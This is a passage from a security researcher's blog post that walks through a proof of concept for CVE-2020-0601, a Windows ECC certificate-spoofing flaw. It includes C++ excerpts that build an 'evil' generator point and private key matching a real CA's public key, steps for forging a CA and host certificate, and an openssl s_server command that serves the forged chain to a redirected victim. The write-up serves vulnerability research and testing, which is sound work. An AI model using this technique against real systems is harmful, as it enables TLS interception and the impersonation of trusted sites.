integer, generator <code>G'</code> is a point and public key <code>P</code> is a point too.</p> <p>If our algorithm produces the same public key it will produce the same signature too. Thus, if TLS client uses our ECC algorithm (curve) instead of the one set in the CA's certificate it will consider our fake signature as valid.</p> <h2><a id="user-content-practice" href="#practice" name="practice" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Practice</h2> <p>In order to implement the discussed proof of concept we decided to use <a rel="noopener noreferrer" target="_blank" href="https://cryptopp.com/">CryptoPP</a> library for elliptic curve computations and <a rel="noopener noreferrer" target="_blank" href="https://www.openssl.org/">OpenSSL</a> API to deal with certificates. Unfortunately, CryptoPP by itself does not implement operations on TLS certificates.</p> <p>Below we will take some excerpts from our PoC published on Github as <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/cve-2020-0601_poc">cve-2020-0601_poc</a> and explain them.</p> <h3><a id="user-content-objective" href="#objective" name="objective" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Objective</h3> <p>Our objective is to craft a certificate chain which will be considered as valid for a particular domain name by our victim.</p> <p>For this chain we first need a CA certificate similar to some that are already known to the victim. Then we have to produce a private key which uses our custom elliptic curve. This private key has to produce the same public key than the valid CA certificate.</p> <p>Then we have to create a TLS web server certificate issued for a particular common name, signed by some private key (generated using some known curve). If we sign this certificate using our evil certificate authority it will produce the same signature as would the valid one.</p> <h3><a id="user-content-input-data" href="#input-data" name="input-data" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Input data</h3> <p>Only the following is required as input data:</p> <ul> <li>Original CA certificate. It contains the certificate authority's public key and other fields which can be copied. However, the only essential field is &quot;serial number&quot;.</li> <li>Target common name. Usually, it is a host name our victim connects to.</li> </ul> <p>The input data is parsed by our PoC in its <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/cve-2020-0601_poc/blob/b182f270390fd370867f0f7c63aa55c77ee600ce/main.cpp#L73">main()</a> function by extracting a public key and a serial number from the provided certificate:</p> <div class="geshifilter"><div class="cpp geshifilter-cpp" style="font-family:monospace;">&nbsp; &nbsp; <span style="color: #666666;">// get raw public key bytes from the CA certificate</span><br /> &nbsp; &nbsp; <span style="color: #666666;">// our objective is to be able to craft a key that will produce them</span><br /> &nbsp; &nbsp; <span style="color: #0000ff;">unsigned</span> <span style="color: #0000ff;">char</span> caPubKey<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">8192</span><span style="color: #008000;">&#93;</span><span style="color: #008080;">;</span><br /> &nbsp; &nbsp; <span style="color: #0000ff;">size_t</span> caPubKeyLen<span style="color: #008080;">;</span><br /> &nbsp; &nbsp; ret <span style="color: #000080;">=</span> getCertPublicKey<span style="color: #008000;">&#40;</span>caCertPem.<span style="color: #007788;">c_str</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span>, caCertPem.<span style="color: #007788;">size</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span>, caPubKey, <span style="color: #000040;">&amp;</span>caPubKeyLen<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span><br /> &nbsp; &nbsp; <span style="color: #0000ff;">if</span> <span style="color: #008000;">&#40;</span><span style="color: #000040;">!</span>ret<span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0000ff;">return</span> <span style="color: #000040;">-</span><span style="color: #0000dd;">1</span><span style="color: #008080;">;</span><br /> &nbsp; &nbsp; <span style="color: #008000;">&#125;</span><br /> <br /> &nbsp; &nbsp; <span style="color: #666666;">// get CA's serial number</span><br /> &nbsp; &nbsp; <span style="color: #0000ff;">unsigned</span> <span style="color: #0000ff;">char</span> caSerial<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">512</span><span style="color: #008000;">&#93;</span><span style="color: #008080;">;</span><br /> &nbsp; &nbsp; <span style="color: #0000ff;">size_t</span> caSerialLen<span style="color: #008080;">;</span><br /> &nbsp; &nbsp; ret <span style="color: #000080;">=</span> getCertSerial<span style="color: #008000;">&#40;</span>caCertPem.<span style="color: #007788;">c_str</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span>, caCertPem.<span style="color: #007788;">size</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span>, caSerial, <span style="color: #0000dd;">sizeof</span><span style="color: #008000;">&#40;</span>caSerial<span style="color: #008000;">&#41;</span>, <span style="color: #000040;">&amp;</span>caSerialLen<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span><br /> &nbsp; &nbsp; <span style="color: #0000ff;">if</span> <span style="color: #008000;">&#40;</span><span style="color: #000040;">!</span>ret<span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0000ff;">return</span> <span style="color: #000040;">-</span><span style="color: #0000dd;">1</span><span style="color: #008080;">;</span><br /> &nbsp; &nbsp; <span style="color: #008000;">&#125;</span></div></div> <p>The routines <code>getCertPublicKey()</code> and <code>getCertSerial()</code> are implemented using OpenSSL API in <code>openssl-helper.cpp</code> file <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/cve-2020-0601_poc/blob/b182f270390fd370867f0f7c63aa55c77ee600ce/openssl-helper.cpp#L13">here</a> and <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/cve-2020-0601_poc/blob/b182f270390fd370867f0f7c63aa55c77ee600ce/openssl-helper.cpp#L85">here</a>. There is nothing special there except that we carefully convert formats to have public key and serial number as raw bytes sequences.</p> <p>Okay, we have the input data, let's start crafting certificates. This is done in function <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/cve-2020-0601_poc/blob/b182f270390fd370867f0f7c63aa55c77ee600ce/main.cpp#L9">genCve20200601Cert</a>.</p> <h3><a id="user-content-evil-private-key-generation" href="#evil-private-key-generation" name="evil-private-key-generation" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Evil private key generation</h3> <p>The <code>craftEvilPrivKey()</code> function implemented in <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/cve-2020-0601_poc/blob/b182f270390fd370867f0f7c63aa55c77ee600ce/cve-2020-0601_poc.cpp#L114">cve-2020-0601_poc.cpp</a> does this job in the following way.</p> <p>At first, we create CryptoPP representation of CA's public key. This object defines elliptic curve and a point on it:</p> <div class="geshifilter"><div class="cpp geshifilter-cpp" style="font-family:monospace;">&nbsp; &nbsp; DL_Keys_ECDSA<span style="color: #000080;">&lt;</span>ECP<span style="color: #000080;">&gt;</span><span style="color: #008080;">::</span><span style="color: #007788;">PublicKey</span> caPubKey<span style="color: #008080;">;</span><br /> &nbsp; &nbsp; caPubKey.<span style="color: #007788;">Load</span><span style="color: #008000;">&#40;</span>CryptoPP<span style="color: #008080;">::</span><span style="color: #007788;">ArraySource</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#40;</span><span style="color: #0000ff;">const</span> CryptoPP<span style="color: #008080;">::</span><span style="color: #007788;">byte</span> <span style="color: #000040;">*</span><span style="color: #008000;">&#41;</span>caPubKeyRaw,<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;caPubKeyRawLen, <span style="color: #0000ff;">true</span><span style="color: #008000;">&#41;</span>.<span style="color: #007788;">Ref</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></div> <p>This allows us to access original elliptic curve definition and parameters as <code>caPubKey.GetGroupParameters()</code>. We use exactly this curve to generate a new private key:</p> <div class="geshifilter"><div class="cpp geshifilter-cpp" style="font-family:monospace;">&nbsp; &nbsp; CryptoPP<span style="color: #008080;">::</span><span style="color: #007788;">AutoSeededRandomPool</span> prng<span style="color: #008080;">;</span><br /> &nbsp; &nbsp; DL_Keys_ECDSA<span style="color: #000080;">&lt;</span>ECP<span style="color: #000080;">&gt;</span><span style="color: #008080;">::</span><span style="color: #007788;">PrivateKey</span> privKeyBase<span style="color: #008080;">;</span><br /> &nbsp; &nbsp; privKeyBase.<span style="color: #007788;">Initialize</span><span style="color: #008000;">&#40;</span>prng, caPubKey.<span style="color: #007788;">GetGroupParameters</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></div> <p>To convert this private key to the one which produces the desired public key we have to modify elliptic curve parameters. We have to produce an evil generator <code>G'</code> which satisfies the following equation: <code>G' = Q / k</code>. Or the same: <code>G' = Q * 1/k</code>. <code>Q</code> -- is CA's public key (remember that it is a point?). <code>1/k</code> is the *inverse* value of the private key obtained earlier. Inversion is calculated as <code>(k ^ -1) mod n</code>, where <code>n</code> is the curve order. We need <code>mod</code> operation here as &quot;curve&quot;, which is in fact a &quot;finite field&quot; with some order.</p> <p>This is <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/cve-2020-0601_poc/blob/b182f270390fd370867f0f7c63aa55c77ee600ce/cve-2020-0601_poc.cpp#L134">implemented</a> as:</p> <div class="geshifilter"><div class="cpp geshifilter-cpp" style="font-family:monospace;">&nbsp; &nbsp; <span style="color: #666666;">// calculate an inverse value of the private key</span><br /> &nbsp; &nbsp; CryptoPP<span style="color: #008080;">::</span><span style="color: #007788;">Integer</span> privKeyInverse <span style="color: #000080;">=</span> CryptoPP<span style="color: #008080;">::</span><span style="color: #007788;">EuclideanMultiplicativeInverse</span><span style="color: #008000;">&#40;</span>privKeyBaseExp, privKeyBaseOrder<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span><br /> &nbsp; &nbsp; <span style="color: #666666;">// produce our custom generator (base point) as a multiplication of the inverse value of our private key</span><br /> &nbsp; &nbsp; <span style="color: #666666;">// and the public key of the provided CA certificate</span><br /> &nbsp; &nbsp; ECP<span style="color: #008080;">::</span><span style="color: #007788;">Point</span> caPubKeyQ <span style="color: #000080;">=</span> caPubKey.<span style="color: #007788;">GetPublicElement</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span><br /> &nbsp; &nbsp; ECP<span style="color: #008080;">::</span><span style="color: #007788;">Point</span> evilG <span style="color: #000080;">=</span> privKeyBaseCurve.<span style="color: #007788;">ScalarMultiply</span><span style="color: #008000;">&#40;</span>caPubKeyQ, privKeyInverse<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></div> <p>Now we have everything we need to craft our own curve and the corresponding private key structure:</p> <ul> <li>Curve mathematical form (from CA's public key).</li> <li>Curve order (from CA's public key).</li> <li>Base generator: <code>evilG</code>.</li> <li>Some large integer as a private key itself.</li> </ul> <p>It is done <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/cve-2020-0601_poc/blob/b182f270390fd370867f0f7c63aa55c77ee600ce/cve-2020-0601_poc.cpp#L140">here</a>:</p> <div class="geshifilter"><div class="cpp geshifilter-cpp" style="font-family:monospace;">&nbsp; &nbsp; <span style="color: #666666;">// create an &quot;evil&quot; private key object using the base private's key exponent and curve but</span><br /> &nbsp; &nbsp; <span style="color: #666666;">// with our &quot;evil&quot; generator (base point)</span><br /> &nbsp; &nbsp; DL_Keys_ECDSA<span style="color: #000080;">&lt;</span>ECP<span style="color: #000080;">&gt;</span><span style="color: #008080;">::</span><span style="color: #007788;">PrivateKey</span> evilPrivKey<span style="color: #008080;">;</span><br /> &nbsp; &nbsp; evilPrivKey.<span style="color: #007788;">Initialize</span><span style="color: #008000;">&#40;</span>privKeyBaseCurve, evilG, privKeyBaseOrder, privKeyBaseExp<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></div> <p>That is it. It will work as expected by design.</p> <p>What is left is to <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/cve-2020-0601_poc/blob/b182f270390fd370867f0f7c63aa55c77ee600ce/cve-2020-0601_poc.cpp#L145">export</a> private key structure as a raw bytes:</p> <div class="geshifilter"><div class="cpp geshifilter-cpp" style="font-family:monospace;">&nbsp; &nbsp; <span style="color: #666666;">// convert evil private key into PKCS8 format</span><br /> &nbsp; &nbsp; CryptoPP<span style="color: #008080;">::</span><span style="color: #007788;">ArraySink</span> evilPrivKeyPKCS8As<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#40;</span>CryptoPP<span style="color: #008080;">::</span><span style="color: #007788;">byte</span> <span style="color: #000040;">*</span><span style="color: #008000;">&#41;</span>outEvilPrivKeyPKCS8, maxSizePKCS8<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span><br /> &nbsp; &nbsp; evilPrivKey.<span style="color: #007788;">Save</span><span style="color: #008000;">&#40;</span>evilPrivKeyPKCS8As.<span style="color: #007788;">Ref</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span><br /> &nbsp; &nbsp; <span style="color: #000040;">*</span>outEvilPrivKeyPKCS8Len <span style="color: #000080;">=</span> evilPrivKeyPKCS8As.<span style="color: #007788;">TotalPutLength</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></div> <p>Now we can proceed with certificates generation.</p> <h3><a id="user-content-crafting-certificates" href="#crafting-certificates" name="crafting-certificates" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Crafting certificates</h3> <p>At first we have to deal with keys format issues. CryptoPP returns elliptic-curve private key in PKCS8 format (see <a rel="noopener noreferrer" target="_blank" href="https://www.cryptopp.com/wiki/Keys_and_Formats">https://www.cryptopp.com/wiki/Keys_and_Formats</a>). In theory it should be understood by OpenSSL and other libraries but in practice there is one caveat. This key we crafted defines a custom curve which is not in the standard list of supported curves. When a library tries to parse such key it fails to create internal structures describing the curve and produces an error.</p> <p>We found a set of OpenSSL API calls which allowed us to have a valid key in OpenSSL internal format. We also noticed that some OpenSSL versions have implementation errors which result in perfectly fine operations (no errors returned) but invalid TLS certificates as a result.</p> <p>Overall, we convert CrytoPP's private key into PEM format in the <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/cve-2020-0601_poc/blob/b182f270390fd370867f0f7c63aa55c77ee600ce/openssl-helper.cpp#L48">following</a> way:</p> <div class="geshifilter"><div class="cpp geshifilter-cpp" style="font-family:monospace;">&nbsp; &nbsp; pkey <span style="color: #000080;">=</span> d2i_PrivateKey_bio<span style="color: #008000;">&#40;</span>bioIn, <span style="color: #0000ff;">NULL</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span><br /> ...<br /> &nbsp; &nbsp; <span style="color: #007788;">PEM_write_bio_PrivateKey</span><span style="color: #008000;">&#40;</span>bioOut, pkey, <span style="color: #0000ff;">NULL</span>, <span style="color: #0000ff;">NULL</span>, <span style="color: #0000dd;">0</span>, <span style="color: #0000ff;">NULL</span>, <span style="color: #0000ff;">NULL</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></div> Nothing special, but it consumed quite some time to find the proper calls. <p>Now we are ready to create a custom CA certificate with the same serial number as the provided one. This is <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/cve-2020-0601_poc/blob/b182f270390fd370867f0f7c63aa55c77ee600ce/openssl-helper.cpp#L156">implemented</a> by <code>genSignedCaCertWithSerial()</code> function. To sign the certificate we use previously crafted malicious private key. When forming the CA certificate it was essential to be careful about the set of X509 fields to fill, serial number format and the set of X509v3 extensions.</p> <p>The last step is to generate a certificate for the desired common name. It was a straightforward procedure without any quirks or workarounds. It is <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/cve-2020-0601_poc/blob/b182f270390fd370867f0f7c63aa55c77ee600ce/openssl-helper.cpp#L269">implemented</a> by <code>genSignedCertForCN()</code> function.</p> <p>After all we obtain the following certificates which can be used to validate the issue:</p> <ul> <li>Evil CA certificate.</li> <li>Target host certificate.</li> <li>Target host private key.</li> </ul> <h3><a id="user-content-exploitation" href="#exploitation" name="exploitation" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Exploitation</h3> <p>The proof of concept mentioned here, <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/cve-2020-0601_poc">cve-2020-0601_poc</a>, accepts a single parameter as input: a path to CA certificate. This certificate has to be signed using ECC algorithm.</p> <p>The PoC saves several certificates as files in its working directory:</p> <ul> <li> <code>test-cve_evil-ca.crt</code>. Evil CA certificate. PEM format.</li> <li> <code>test-cve_evil-privkey.key</code>. Evil CA private key. PEM format.</li> <li> <code>test-cve_evil-privkey-pk8.key</code>. Evil CA private key. PKCS8 DER format.</li> <li> <code>test-cve_host-cert.crt</code>. Target host certificate. PEM format.</li> <li> <code>test-cve_host-privkey.key</code>. Target host private key. PEM format.</li> </ul> <p>The tool is hardcoded to produce certificates for &quot;example.com&quot; common name.</p> <p>OpenSSL's <code>s_server</code> can be fed with the produced certificates as follows:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">sudo openssl s_server -cert test-cve_host-cert.crt -key test-cve_host-privkey.key -chainCAfile test-cve_evil-ca.crt -www -accept 443</div></div> <p>Redirect the victim (vulnerable OS) to the desired socket and if all goes well, the TLS client (browser) will not emit certificate validation error.</p> <p>The result should look like this one:</p> <p><img src="https://github.com/gremwell/cve-2020-0601_poc/raw/master/screen1.png" alt="example.com spoofing" /></p> <p>Please note that it is required to have the legitimate CA certificate using ECC in the operating system cache. This can be achieved by redirecting a victim to a legitimate TLS server which uses a certificate signed by the certificatee authority of our choice.</p> <h3><a id="user-content-qsslcaudit" href="#qsslcaudit" name="qsslcaudit" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>qsslcaudit</h3> <p>A test for this vulnerability was added to our tool for assessing SSL/TLS clients implementation, <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/qsslcaudit">qsslcaudit</a>. See the corresponding <a href="https://www.gremwell.com/node/950">announcement</a> and <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/qsslcaudit#cve-2020-0601">section</a> in the tool's README file.</p> <p>CVE-2020-0601 test implemented in <code>qsslcaudit</code> allows a security researcher to have everything in one place: malicious certificate generation for arbitrary domains, TLS server and clear description of the intercepted connection.</p> <h2><a id="user-content-conclusion" href="#conclusion" name="conclusion" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion</h2> <p>This particular vulnerability grabbed our attention because, being an issue in client-side TLS implementation, it should fit perfectly as one of the <code>qsslcaudit</code>'s tests. We started to work on it in early February 2020 thinking &quot;ah, okay, there are articles published, proof of concepts written, we have a tool which does the heavy lifting, so just create a slightly modified private key and you will be good to go&quot;. Nope. Not that easy.</p> <p>Trying to fit a proof of concept into a product is not just copy-pasting from Github repository. It requires having a piece of code implemented without any hardcoded parameters and not relying on any specifics. It should handle arbitrary input parameters to produce the desired output. Finally, it has to be compliant with the chosen programming language and libraries.</p> <p>It turned out that working with elliptic curve parameters at a low level is not well supported by TLS libraries we used (GNUTLS and OpenSSL). Moreover, even if you just provide a ready-made private key to these libraries they refused to work due to non-standard curves. We had to find an alternative way to work with ECC. This was <a rel="noopener noreferrer" target="_blank" href="https://cryptopp.com/">CryptoPP</a> library.</p> <p>Adding another library to your project (especially if it is written in C/C++) can be a huge pain in itself. Luckily in this case it was not that problematic, but another problem arose: it was not straightforward to convert ideas from blog posts or practical implementations into the particular library calls. We had to truly understand the issue, the theory behind it.</p> <p>Fighting with OpenSSL to generate proper certificates took another set of working days. It was really frustrating to spend time on that as it is not related to the issue itself and was about digging through obscure code and bad documentation. Not mentioning bugs in outdated versions we were experimenting with.</p> <p>As a result, it took several working days to get a fully working proof of concept and only one hour to integrate it into <code>qsslcaudit</code>.</p> <p>The CVE-2020-0601 vulnerability is also interesting from a completely different perspective: how was it discovered ? Once you understand the issue and its root cause you immediately spot this potentially weak point: curve parameters which can be customised and controlled by another party of TLS handshake. Was it discovered like this ? By reading standards, creating hypothesis, writing tools, testing various implementations ? Or was it a careful study of disassembled <code>crypto32.dll</code> ? Even if we do not know the answer we can still learn from it.</p> <p>Happy studying. :-)</p></div> <span><span lang="" about="/user/347" typeof="schema:Person" property="schema:name" datatype="">pavel</span></span> <span>Wed, 02/26/2020 - 14:25</span> Wed, 26 Feb 2020 13:25:27 +0000 pavel 951 at https://www.gremwell.com